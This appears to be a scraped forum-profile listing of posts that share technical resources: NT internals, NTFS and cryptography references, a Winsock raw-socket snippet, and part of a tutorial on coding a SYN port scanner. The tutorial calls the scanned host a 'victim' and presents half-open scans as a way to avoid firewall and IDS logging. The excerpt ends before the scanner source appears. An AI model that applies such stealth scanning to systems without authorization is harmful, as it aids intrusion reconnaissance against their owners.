-
Posts
18713 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
Learning Advanced JavaScript 1) Our Goal 2) Defining Functions 3) Named Functions 4) Functions as Objects 5) Context 6) Instantiation 7) Flexible Arguments 8) Closures 9) Temporary Scope 10) Function Prototypes 11) Instance Type 12) Inheritance 13) Built-in Prototypes 14) Enforcing Function Context 15) Bonus: Function Length Tutorial: http://ejohn.org/apps/learn/
-
MenuetOS MenuetOS is an Operating System in development for the PC written entirely in 32/64 bit assembly language. Menuet64 is released under License and Menuet32 under GPL. Menuet supports 32/64 bit x86 assembly programming for smaller, faster and less resource hungry applications. Menuet isn't based on other operating system nor has it roots within UNIX or the POSIX standards. The design goal, since the first release in year 2000, has been to remove the extra layers between different parts of an OS, which normally complicate programming and create bugs. Menuet's application structure isn't specifically reserved for asm programming since the header can be produced with practically any other language. However, the overall application programming design is intended for 32/64 bit asm programming. Menuet programming is fast and easy to learn. Menuet's responsive GUI is easy to handle with assembly language. And Menuet64 is capable of running Menuet32 applications. Features - Pre-emptive multitasking with 1000hz scheduler, multithreading, multiprocessor, ring-3 protection - Responsive GUI with resolutions up to 1280x1024, 16 million colours - Free-form, transparent and skinnable application windows, drag'n drop - SMP multiprocessor support with currently up to 8 cpus - IDE: Editor/Assembler for applications - USB 2.0 Hi-speed storage, webcam, printer class and TV/Radio support - USB 1.1 Keyboard and mouse support - TCP/IP stack with Loopback & Ethernet drivers - Email/ftp/http/chess clients and ftp/mp3/http servers - Hard real-time data fetch - Fits on a single floppy, boots also from CD and USB drives Site oficial: http://www.menuetos.net/
-
Handbook of Applied Cryptography Chapter 1 - Overview of Cryptography Chapter 2 - Mathematics Background Chapter 3 - Number-Theoretic Reference Problems Chapter 4 - Public-Key Parameters Chapter 5 - Pseudorandom Bits and Sequences Chapter 6 - Stream Ciphers Chapter 7 - Block Ciphers Chapter 8 - Public-Key Encryption Chapter 9 - Hash Functions and Data Integrity Chapter 10 - Identification and Entity Authentication Chapter 11 - Digital Signatures Chapter 12 - Key Establishment Protocols Chapter 13 - Key Management Techniques Chapter 14 - Efficient Implementation Chapter 15 - Patents and Standards Appendix - Bibliography of Papers from Selected Cryptographic Forums References Index Sursa: Handbook of Applied Cryptography
-
Trebuie folosit winsock2.h. La inceput trebuie apelata functia WSAStartUp, la sfarsit trebuie apelata WSACleanup... Problema poate fi aici: sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP) Din cate stiu eu nu se pot crea RAW sockets pe Windows din motive de "securitate". In rest, pe langa cateva functii specifice Linux, se poate porta. Functiile pentru retea, desi Windows are versiuni specifice ale acestor functii, exista si in Windows Sockets API si nu ar trebui sa fie probleme. Edit: Pe Windows 7 cred ca merge: #include <stdio.h> #include <winsock2.h> int main() { WSADATA wsaData; SOCKET hSock; WSAStartup(MAKEWORD(2, 2), &wsaData); // Cream socketul hSock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); printf("Handlerul socketului: %d\r\n", hSock); closesocket(hSock); WSACleanup(); return 0; } Mai pe seara daca nu am ce face, incerc sa il portez.
-
Nu e cine stie ce, nu prea are optiuni si e detectabil. Nu cred ca are rost sa il uploadez din nou.
-
NTFS On-Disk Structure Visual Basic NTFS Programmer’s Guide © 2004 Alex Ionescu 1. BASIC CONCEPTS........................................................................................................................... 5 1.1 INTRODUCTION............................................................................................................................... 5 1.2 NTFS TERMINOLOGY .................................................................................................................... 5 1.3 GENERAL TERMINOLOGY.............................................................................................................. 6 1.4 NTFS VERSIONS............................................................................................................................ 7 2. THE BOOT RECORD........................................................................................................................ 7 2.1 DEFINITION..................................................................................................................................... 7 2.2 STRUCTURE..................................................................................................................................... 7 3. METAFILES ...................................................................................................................................... 10 3.1 INTRODUCTION............................................................................................................................. 10 3.1.1 Description .......................................................................................................................... 10 3.1.2 Listing (NTFS 3.0+) .......................................................................................................... 10 3.2 $MFT.............................................................................................................................................. 11 3.2.1 Description .......................................................................................................................... 11 3.2.2 Structure .............................................................................................................................. 11 3.3 $MFTMIRR ................................................................................................................................... 12 3.3.1 Description .......................................................................................................................... 12 3.3.2 Structure .............................................................................................................................. 13 3.4 $LOGFILE...................................................................................................................................... 13 3.4.1 Description .......................................................................................................................... 13 3.4.2 Structure .............................................................................................................................. 14 3.5 $VOLUME....................................................................................................................................... 14 3.5.1 Description .......................................................................................................................... 14 3.5.2 Structure .............................................................................................................................. 14 3.6 $ATTRDEF..................................................................................................................................... 15 3.6.1 Description .......................................................................................................................... 15 3.6.2 Structure .............................................................................................................................. 15 3.7 . (DOT) ............................................................................................................................................ 16 3.7.1 Description .......................................................................................................................... 16 3.7.2 Structure .............................................................................................................................. 17 3.8 $BITMAP ........................................................................................................................................ 17 3.8.1 Description .......................................................................................................................... 17 3.8.2 Structure .............................................................................................................................. 17 3.9 $BOOT............................................................................................................................................. 18 3.9.1 Description .......................................................................................................................... 18 3.9.2 Structure............................................................................................................................... 18 3.10 $BADCLUS.................................................................................................................................... 18 3.10.1 Description....................................................................................................................... 18 3.10.2 Structure........................................................................................................................... 18 3.11 $SECURE...................................................................................................................................... 19 3.11.1 Description....................................................................................................................... 19 3.11.2 Structure........................................................................................................................... 20 3.12 $UPCASE ..................................................................................................................................... 21 3.12.1 Description....................................................................................................................... 21 3.12.2 Structure........................................................................................................................... 22 3.13 $EXTEND...................................................................................................................................... 22 3.13.1 Description....................................................................................................................... 22 3.15 $OBJID........................................................................................................................................ 22 3.15.1 Description....................................................................................................................... 22 3.15.2 Structure........................................................................................................................... 23 3.16 $QUOTA........................................................................................................................................ 23 3.16.1 Description....................................................................................................................... 23 3.16.2 Structure........................................................................................................................... 24 3.17.1 Description....................................................................................................................... 26 3.17.2 Structure........................................................................................................................... 26 3. 18 $USNJRNL.................................................................................................................................. 27 3.18.1 Description....................................................................................................................... 27 3.18.2 Structure........................................................................................................................... 27 4. ATTRIBUTES.................................................................................................................................... 29 4.1 INTRODUCTION............................................................................................................................. 29 4.1.1 Definition ............................................................................................................................. 29 4.1.2 Listing (NTFS 3.0+) .......................................................................................................... 29 4.2 TYPES OF ATTRIBUTES ................................................................................................................ 31 4.2.1 Attribute Definition ......................................................................................................... 31 4.2.2 Attribute Structure........................................................................................................... 31 4.2.3 Nonresident Attribute Definition ............................................................................... 32 4.2.4 Nonresident Attribute Structure ................................................................................ 32 4.2.5 Resident Attribute Definition.................................................................................................... 33 4.2.6 Resident Attribute Structure........................................................................................ 33 4.2.7 Named and Unnamed Attributes................................................................................ 34 4.3 $STANDARD_INFORMATION............................................................................................. 34 4.3.1 Description .......................................................................................................................... 34 4.3.2 Structure .............................................................................................................................. 35 4.4 $ATTRIBUTE_LIST.................................................................................................................. 36 4.4.1 Description .......................................................................................................................... 36 4.4.2 Structure .............................................................................................................................. 36 4.5 $FILE_NAME .............................................................................................................................. 37 4.5.1 Description .......................................................................................................................... 37 4.6 $OBJECT_ID.............................................................................................................................. 38 4.6.1 Description .......................................................................................................................... 38 4.6.2 Structure .............................................................................................................................. 38 4.7 $SECURITY_DESCRIPTOR.................................................................................................. 39 4.7.1 Description .......................................................................................................................... 39 4.7.2 Structure .............................................................................................................................. 39 4.8 $VOLUME_NAME...................................................................................................................... 41 4.8.1 Description .......................................................................................................................... 41 4.9 $VOLUME_INFORMATION.................................................................................................. 41 4.9.1 Description .......................................................................................................................... 41 4.9.2 Structure .............................................................................................................................. 41 4.10 $DATA......................................................................................................................................... 42 4.10.1 Description....................................................................................................................... 42 4.10.2 Structure........................................................................................................................... 43 4.11 $INDEX_ROOT......................................................................................................................... 43 4.11.1 Description....................................................................................................................... 43 4.11.2 Structure........................................................................................................................... 44 4.12 $INDEX_ALLOCATION ........................................................................................................ 45 4.12.1 Description....................................................................................................................... 45 4.12.2 Structure........................................................................................................................... 46 4.13 $BITMAP................................................................................................................................... 47 4.13.1 Description....................................................................................................................... 47 4.13.2 Structure........................................................................................................................... 47 4.14 $REPARSE_POINT................................................................................................................. 47 4.14.1 Description....................................................................................................................... 47 4.14.2 Structure........................................................................................................................... 48 4.15 $EA_INFORMATION............................................................................................................. 49 4.15.1 Description....................................................................................................................... 49 4.15.2 Structure........................................................................................................................... 50 4.16 $EA............................................................................................................................................... 50 4.16.1 Description....................................................................................................................... 50 4.16.2 Structure........................................................................................................................... 50 4.17 $LOGGED_UTILITY_STREAM.......................................................................................... 51 4.17.1 Description....................................................................................................................... 51 4.17.2 Structure........................................................................................................................... 51 5.0 ADVANCED CONCEPTS ............................................................................................................ 52 5.1 VCNS AND LCNS .......................................................................................................................... 52 5.2 DATA RUNS ................................................................................................................................... 52 5.2.1 Definition ............................................................................................................................. 52 5.2.2 Structure .............................................................................................................................. 53 5.3 SECURITY CONCEPTS................................................................................................................... 58 5.3.1 SIDs ....................................................................................................................................... 58 5.3.2 ACLs ...................................................................................................................................... 61 5.3.3 ACEs ...................................................................................................................................... 61 5.4 INDEXES ......................................................................................................................................... 61 5.5 SPARSE FILES............................................................................................................................... 61 5.6 ENCRYPTION................................................................................................................................. 61 5.7 COMPRESSION ............................................................................................................................... 61 5.8 USNS .............................................................................................................................................. 61 Download: http://www.alex-ionescu.com/NTFS.pdf Sursa: Publications « Alex Ionescu’s Blog
-
INTRODUCTION TO NT INTERNALS Part 1: Processes, Threads, Fibers and Jobs © 2004 Alex Ionescu Table of Contents 1. INTRODUCTION................................................................................................................ 4 2. STRUCTURES AND TERMINOLOGY........................................................................... 5 3. IMAGE FILE EXECUTION (PROCESS CREATION)................................................. 8 4. USER-MODE PROCESS STRUCTURES..................................................................... 10 4.1 PROCESS ENVIRONMENT BLOCK (PEB)................................................................... 10 4.2 PROCESS PARAMETERS BLOCK (PPB)..................................................................... 23 4.3 LOADER DATA (LDRD).............................................................................................. 28 4.4 LOADED MODULE (LDR_LM)................................................................................... 28 4.5 VARIOUS OTHER STRUCTURES (PEB_FREE_BLOCK, RTL_BITMAP).............. 30 4.6 FLAGS (GLOBAL_FLAG, KAFFINITY)................................................................. 30 4.7 GDI STRUCTURES (HANDLE_TABLE, GDI_OBJECT)....................................... 32 5. KERNEL-MODE PROCESS STRUCTURES............................................................... 34 5.1 EXECUTIVE PROCESS (EPROCESS)........................................................................ 34 5.2 KERNEL PROCESS (KPROCESS)............................................................................. 48 5.3 LPC PORT (LPC_PORT_OBJECT)........................................................................ 53 5.4 HANDLE TABLE (HANDLE_TABLE)....................................................................... 57 5.5 VIRTUAL ADDRESS DESCRIPTOR TABLE (MM_AVL_TABLE) .............................. 60 5.6 TOKEN (TOKEN) ....................................................................................................... 62 6. USER-MODE THREAD STRUCTURES....................................................................... 68 6.1 THREAD ENVIRONMENT BLOCK (PEB) .................................................................... 68 6.2 NT THREAD INFORMATION BLOCK (TIB) ................................................................ 77 6.3 MISCELLANEOUS USER-MODE STRUCTURES ........................................................... 79 7. KERNEL-MODE THREAD STRUCTURES................................................................. 81 7.1 EXECUTIVE THREAD (ETHREAD) ........................................................................... 81 7.2 KERNEL THREAD (KTHREAD) ................................................................................ 87 7.3 IMPERSONATION (PS_IMPERSIONATION_INFORMATION) ........................ 100 7.4 APC STATE (KAPC_STATE) ................................................................................. 100 8. KERNEL-MODE JOB STRUCTURE.......................................................................... 102 8.1 EXECUTIVE JOB (EJOB).......................................................................................... 102 Download: http://www.alex-ionescu.com/part1.pdf Sursa: Publications « Alex Ionescu’s Blog
-
Pentru a fi compilat pe Windows trebuie portat
-
Visual Basic Image Internal Structure Format © 2004 Alex Ionescu Table of Contents STRUCTURE RELATIONSHIP DIAGRAM .............................................................................................. 3 1. THE VB HEADER. ............................................................................................................................. 4 THREAD FLAGS .......................................................................................................................... 4 MDL INTERNAL CONTROL FLAGS............................................................................................ 5 2. THE COM REGISTRATION DATA.............................................................................................. 6 2.1 THE COM REGISTRATION INFO. ........................................................................................ 6 2.2 THE DESIGNER INFO. .......................................................................................................... 7 OBJECT TYPES.......................................................................................................................... 7 3. THE PROJECT INFORMATION.................................................................................................. 8 4. THE SECONDARY PROJECT INFORMATION..................................................................... 8 5. THE OBJECT TABLE....................................................................................................................... 9 6. THE PRIVATE OBJECT DESCRIPTOR................................................................................... 9 7. THE PUBLIC OBJECT DESCRIPTOR.................................................................................... 10 8. THE OBJECT INFO......................................................................................................................... 10 9. THE OPTIONAL OBJECT INFO................................................................................................ 11 10. THE CONTROL INFO.................................................................................................................. 11 Download: http://www.alex-ionescu.com/vb.pdf Sursa: Publications « Alex Ionescu’s Blog
-
Native API Compression and Introduction to NT Design Autor: Alex Ionescu Chapter 1 – How NT works, in the average programmer’s words Chapter 2 – The Native API, for a programmer Chapter 3 – The Compression Application Download: http://www.alex-ionescu.com/Native.Pdf Sursa: Publications « Alex Ionescu’s Blog
-
Windows XP/2003 User-Mode Debugging Internals Autor: Alex Ionescu Windows XP/2003 User-Mode Debugging Internals, Part 1 http://www.alex-ionescu.com/dbgk-1.pdf Windows XP/2003 User-Mode Debugging Internals, Part 2 http://www.alex-ionescu.com/dbgk-2.pdf Windows XP/2003 User-Mode Debugging Internals, Part 3 http://www.alex-ionescu.com/dbgk-3.pdf Sursa: Publications « Alex Ionescu’s Blog
-
Coding a Syn Scanner * by ithilgore * * ithilgore.ryu.L@gmail.com * * version 1.2 - March 2007 * ***************************************** ***************************************** * Coding a Syn Scanner * * by ithilgore * * ithilgore.ryu.L@gmail.com * * version 1.2 - March 2007 * ***************************************** 0x0. Index 0x1. Prologue 0x2. Syn Scanning 0x3. Tcp/ip header analysis 0x4. Raw Sockets 0x5. Libpcap/Sniffing Session 0x6. The SYN port scanner(source) 0x7. Epilogue 0x8. References -------------- 0x1. Prologue -------------- In the current article we are going to analyse the process of programming a Port Scanner which uses stealthier methods to scan its victim. In fact we shall see how a SYN scanner is made. It is not the result that counts so much, since there are already some high-quality tools in the open source community that support such a function ( see Nmap ). However, we are more interested in the process of making such a tool, a process which includes many different interesting matters of the security sector. What are these things in a few words? --Raw Sockets --Libpcap/Sniffing --Tcp/ip header analysis --The Syn Scanning itself This guide's purpose, as you will realize, is not to just plainly give the source code of the SYN Scanner ( this in fact by itself doesn't have any actual meaning since, as we have already mentioned there are such tools with an open source in public ) but to give some guidelines for someone who wants to go deeper into the Network Programming (in Unix) through the programming and analysis of the creation of this particular tool.This means that with this guide, you will constantly have to refer to man pages,RFCs etc as well as to execute other tools such as tcpdump. For someone to be able to understand the flow of this guide he will have to: a) have a good understanding of the C language have already delved into the basics of network programming ( see http://beej.us/guide/bgnet/ ) c) know some basic things about networks d) have a box installed with a unix-flavored OS ( root priviledges required ) so as to be able to experiment with the code. e) have a second box ( either as a virtual machine or real ) available (this is not required though) f) have enough free time as some concepts are quite difficult to understand in the first place Note down that the code has been successfully tested on a Slackware 11 box with kernel 2.4.33.3 ------------------ 0x2. SYN Scanning ------------------ The SYN scanning is based on a simple method called half-open connection. As we already know, when two computers communicate with each other through the TCP, the below procedure is followed: a) client ----------SYN J--------------> server client <--------SYN K / ACK J+1------ server c) client --------ACK K+1 -------------> server The above is called 3-way handshake as it goes through 3 stages of handshake: a) In the beginning, the client sends a TCP packet to the servers's port with an initial sequence (usually random). During the second stage, if the server accepts connections on this particular port, he will send as an answer a TCP packet with a sequence ACK equal to SYN+1 (we suppose the client's sequence is SYN) as well as a new SYN sequence of his own. c) In the end, the client will answer with an ACK incremented by 1 in relation to the SYN the server sent during the b part. -->In case the server's port is closed, the server sends a RST packet in the b stage and terminates the handshake. The above way is the classical way of a common port scanner, that scans through the ports that interest the attacker trying to open to each of them a full connection through the simple 3-way handshake. What a nice way for the victim's firewall or IDS to log the attack... A better solution is given by the half-open connection: a) client ----------SYN J--------------> server client <--------SYN K / ACK J+1------ server c) client ----------RST ---------------> server Which is the only difference? As you have already observed the last step during which the client who already knows that the server has sent a positive answer, instead of opening the connection fully ( the usual state: Connection Established ), sends a RST packet terminating the connection prematurely. What is the benefit? A smaller chance to alarm any security mechanism of the victim as the connection is never opened fully. This is in fact the stealth capability that the SYN scanner comes to use. Details for how it is done, below. ---------------------------- 0x3. TCP/IP header analysis ---------------------------- It is time to see more closely what exactly takes place behind the curtains. At this stage it would be a good chance to scan through the RFCs 791 ( Internet Protocol ) and 793 ( Transmission Protocol ) as their knowledge will come in handy later. The TCP header's format is shown below. In fact, the important information that every TCP packet must have is untill the Urgent Pointer, which means 20 bytes in size. 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Let's see more analytically each field of the header: ------ ----- ------------ FIELD SIZE DESCRIPTION ------ ----- ------------ Source Port: (16bits) The client's Port number Destination Port: (16bits) The server's (destination) Port number Sequence Number: (32bits) The sequence number that is used for enumerating TCP packets (see 3-way handshake) Acknowledgment Number: (32bits) The answer number to the previous SYN. It stands that ACK = previous_SYN + 1 Data Offset: (4 bits) The number that defines the header's size.WARNING!-> it is counted by multiples of 32bits/4bytes. This means that when the TCP packet has nï options data_offset = 5 Reserved: (6 bits) Just reserved, these bits are all 0 Flags: (6 bits) Each flag defines a special state.(1 bit each -on/off) URG: Urgent: for fast routing ACK: Ãcknowledgment: for the 2nd and 3rd stage of the 3way TCP handshake PSH: Push: the system doesn't buffer the segment into the ÉP stack RST: Reset: for immediate termination of a connection SYN: Synchronization: for a new connection and TCP handshake FIN: Final: for the normal termination of a connection ( see TCP termination) Window: (16bits) The maximum quantity of data that the client will receive Checksum: (16bits) The packet's checksum, which we shall analyze later Urgent Pointer: (16bits) It is used in combination with the urgent flag These are in a few words the TCP header's fields with which we shall be occupied below when we create our own datagram. We do not analyse each of them in depth since this is not our purpose.Instead of that we shall point out some of them later as they will be of vital importance to our SYN scanner.For more information you are encouraged to see the corresponding RFCs. But now let's see in a code level how such a TCP header would be like. /* TCP header */ typedef u_int tcp_seq; struct sniff_tcp { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ u_char th_offx2; /* data offset, rsvd */ #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) u_char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_short th_win; /* window */ u_short th_sum; /* checksum */ u_short th_urp; /* urgent pointer */ }; As we see there is a 1 to 1 correlation between the struct's fields and the TCP header's fields. We should point out that the above struct is not the classic BSD-flavored but a style proposed by Tim Carstens -> http://www.tcpdump.org/pcap.htm ( we shall refer to pcap later if this link moved your curiosity ) A little more patience to see the IP header and then we shall look into a live example with tcpdump! The IP header then: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ------ ----- ------------ FIELD SIZE DESCRIPTION ------ ----- ------------ Version: (4 bits) The header's version.We are discussing IPv4 so it is 4. IHL: (4 bits) Header length: in 32bit words!! Thus the min_value = 5 (just before Options) Type of Service: (8 bits) It is used for priorities in certain services of some networks Total Length: (8 bits) Total datagram length (in bytes), that includes the ÔCP header. It shows us where the payload begins. Identification: (8 bits) A unique value of the sender in case there is need to reassembly a fragmented packet. Flags: (3 bits) bit 0: reserved 0 , bit 1:DF (don't fragment) , bit 2:MF(more fragments) sequence: b0,b1,b2 Fragment Offset: (13bits) It is used to reassembly fragmented packets. Time to Live: (8 bits) How many hops(routers) the packet can pass before it is discarded. max_value = 255 Protocol: (8 bits) /etc/protocols for info , tcp = 6 , udp = 17, icmp = 1 Header Checksum: (16bits) The checksum of the whole datagram. Later about that Source Address: (32bits) The sender's IP Destination Address: (32bits) The receiver's IP Using the same logic as in the tpc header, we write the struct of the ip header: /* IP header */ struct sniff_ip { u_char ip_vhl; /* version << 4 | header length >> 2 */ u_char ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src,ip_dst; /* source and dest address */ }; #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) #define IP_V(ip) (((ip)->ip_vhl) >> 4) The 2 above headers refer to the TCP/IP, however we must not forget that the on the data link layer we've got some NICs that are "in the way". NICs huh? But of course we couldn't omit to mention the ethernet and unique MAC addresses that every network interface has. For this reason, we are going to examine one more (little) header that will be enscapsulated into the packet afterwards. This specific header will not bother us later, but it is good to know about it. Thus we have: /* ethernet headers are always exactly 14 bytes */ #define SIZE_ETHERNET 14 /* Ethernet addresses are 6 bytes */ #define ETHER_ADDR_LEN 6 /* Ethernet header */ struct sniff_ethernet { u_char ether_dhost[ETHER_ADDR_LEN]; /* destination host address */ u_char ether_shost[ETHER_ADDR_LEN]; /* source host address */ u_short ether_type; /* IP? ARP? RARP? etc */ }; Things here are quite simple: ------ ----- ------------ FIELD SIZE DESCRIPTION ------ ----- ------------ ether_dhost (6bytes) Destination's MAC address ether_shost (6bytes) Sender's H ÃŒÃC address ether_type (2bytes) The protocol that is directly "above" ethernet (here we've got IP) The best way for someone to understand the above concepts is a real example. So we open 2 terminals and in the first we write: root@hyena:/home/# tcpdump -i eth0 -l -n -x -vv ( where eth0 is the name of your own NIC ) while in the other terminal we telnet into a host for which we know their port 80 is open ( or some other port ) Our router's web interface would be a good example. ithilgore@hyena:~$ telnet 10.0.0.2 80 Trying 10.0.0.2... Connected to 10.0.0.2. Tcpdump's output will be something like this: tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 19:46:00.774299 IP (tos 0x10, ttl 64, id 17418, offset 0, flags [DF], proto: TCP (6), length: 60) 10.0.0.4.39507 > 10.0.0.2.80: S, cksum 0x8691 (correct), 1121958480:1121958480(0) win 5840 <mss 1460, sackOK,timestamp 7536218 0,nop,wscale 0> 0x0000: 4510 003c 440a 4000 4006 e29c 0a00 0004 0x0010: 0a00 0002 9a53 0050 42df ba50 0000 0000 0x0020: a002 16d0 8691 0000 0204 05b4 0402 080a 0x0030: 0072 fe5a 0000 0000 0103 0300 19:46:00.775223 IP (tos 0x0, ttl 64, id 14712, offset 0, flags [none], proto: TCP (6), length: 60) 10.0.0.2.80 > 10.0.0.4.39507: S, cksum 0xb576 (correct), 448057277:448057277(0) ack 1121958481 win 8192 <mss 1460,nop,wscale 0,nop,nop,timestamp 188518 7536218> 0x0000: 4500 003c 3978 0000 4006 2d3f 0a00 0002 0x0010: 0a00 0004 0050 9a53 1ab4 cfbd 42df ba51 0x0020: a012 2000 b576 0000 0204 05b4 0103 0300 0x0030: 0101 080a 0002 e066 0072 fe5a 19:46:00.775264 IP (tos 0x10, ttl 64, id 17419, offset 0, flags [DF], proto: TCP (6), length: 52) 10.0.0.4.39507 > 10.0.0.2.80: ., cksum 0xea69 (correct), 1:1(0) ack 1 win 5840 <nop,nop,timestamp 7536219 188518> 0x0000: 4510 0034 440b 4000 4006 e2a3 0a00 0004 0x0010: 0a00 0002 9a53 0050 42df ba51 1ab4 cfbe 0x0020: 8010 16d0 ea69 0000 0101 080a 0072 fe5b 0x0030: 0002 e066 3 packets ... rings a bell? As you will have already guessed this is the 3way TCP handshake. Let's take one to one the values of the packets to find a correspondence with the headers that we saw above. 1st packet: ( it begins with the IP header ) 0x0000: 4510 003c 440a 4000 4006 e29c 0a00 0004 4510: 4 = version , 5 = header length , 10 = type of service , 003c: 003c = total length ( 0x3c = 60d ) thus we know where the payload begins 440a: 440a = identification 4000: 4006 = 010 | 0 0000 0000 0110 where the 3 MSB is the flag field ( so we have DF flag which we see in tcpdump ) - the rest 13 bit are the fragment offset field 4006: 40 = time to live ( 64d ) , 06 = protocol number ( we said that TCP is 6d ) e29c: the header checksum 0a00: The first part of the Source IP address ( 10.0 ) 0004: The second and last part of the Source IP address ( 0.4 ) so 10.0.0.4 0x0010: 0a00 0002 9a53 0050 42df ba50 0000 0000 0a00: First part of the Destination IP address ( 10.0 ) 0002: Second part Destination IP address ( 0.2 ) so 10.0.0.2 -----------------end of IP header/ beginning TCP header-------------------------- 9a53: Source Port ( 0x9a53 = 39507d ) 0050: Destination Port ( 0x0050 = 80d ) 42df: First part of sequence number ( we send SYN ) ba50: Second part of seq number , so: seq = 0x42df ba50 = 1121958480d 0000: First part of ACK 0000: Second part of ACK: we don't have an ACK as in the first packet we just initiate ôï connection 0x0020: a002 16d0 8691 0000 0204 05b4 0402 080a a002: a = data offset (here because of telnet we've got some options so 0xa = 10d != 5d = min_value(no options/data)), 002 = 0000 00 | 00 0010 the 6 MSB are the reserved 0, the rest are flags where we have the 2nd LSB ON (SYN flag) 16d0: window size 8691: datagram checksum ( keep that in mind ) 0000: urgent pointer , ( it doesn't exist in our case ) ---------------from here on follow options and data that we do not interest us--- 0204: <> 05b4: <> 0402: <> 080a: <> Analysing the above we see an analogy with the headers that we studied before. Let's see some more things about the 2 next packets to verify the 3way handshake: 2nd packet: 0x0000: 4500 003c 3978 0000 4006 2d3f 0a00 0002 0x0010: 0a00 0004 0050 9a53 1ab4 cfbd 42df ba51 0x0020: a012 2000 b576 0000 0204 05b4 0103 0300 0x0030: 0101 080a 0002 e066 0072 fe5a Here the values are nearly the same. Where one should focus is on the 42df ba51 Maybe it looks like something we saw before? It is the previous Syn Sequence + 1 and resides in the field of the Acknowledgment Number of the TCP header. So we verified that ACK = previousSYN + 1. Before that let's keep in our memory ( or on the clipboard for those who can't ) the number 1ab4 cfbd which corresponds to the Sequence Number of the current packet. Now let's go and see the 3rd packet and specifically the seq and ack values 3rd packet: 0x0000: 4510 0034 440b 4000 4006 e2a3 0a00 0004 0x0010: 0a00 0002 9a53 0050 42df ba51 1ab4 cfbe 0x0020: 8010 16d0 ea69 0000 0101 080a 0072 fe5b 0x0030: 0002 e066 Here we have Sequence Number = 42df ba51 = previous_ACK (not the essence) and also ACK = 1ab4 cfbe = previoysSYN + 1 Maybe we should remind the graph? a) client ----------SYN J--------------> server client <--------SYN K / ACK J+1------ server c) client --------ACK K+1 -------------> server This about the TCP/IP packet analysis. Don't hesitate to re-read the points that you didn't understand and experiment with other examples on tcpdump. ( reading in parallel it's man pages ) ----------------- 0x4. Raw Sockets ----------------- To be able to construct a SYN scanner we will need to explicitly send our own packet with a SYN flag ON and then see if the answer we get is ACK or RST. How do we construct our own datagram? Enter Raw Sockets. Raw Sockets are nothing more than the capability of constructing our own Network Datagram ( ICMP ,TCP,IP,IGMP ) We know that TCP corresponds to the Transport Layer of the OSI model while IP belongs to the Network Layer both of which are normally managed by the kernel of the operating system. When an application needs to open a new connection with a server, then the usual way to do this is the sockets interface which allows us in a limited extent to set the conditions and parameters under which this connection will take place. In a figure: OSI TCP Layer 7: Application layer -application- | Layer 6: Presentation layer -application- <-| user process Layer 5: Session layer -application- __________________________ sockets interface / raw sockets--| Layer 4: Transport layer <---------> TCP/UDP | <-------| Layer 3: Network layer <---------> IPv4/IPv6 <-| kernel Layer 2: Data Link layer <---------> BPF/DLPI/drivers | Layer 1: Physical layer hardware Raw sockets in contrast to the plain interface give us the potential to define ourselves exactly what the datagram 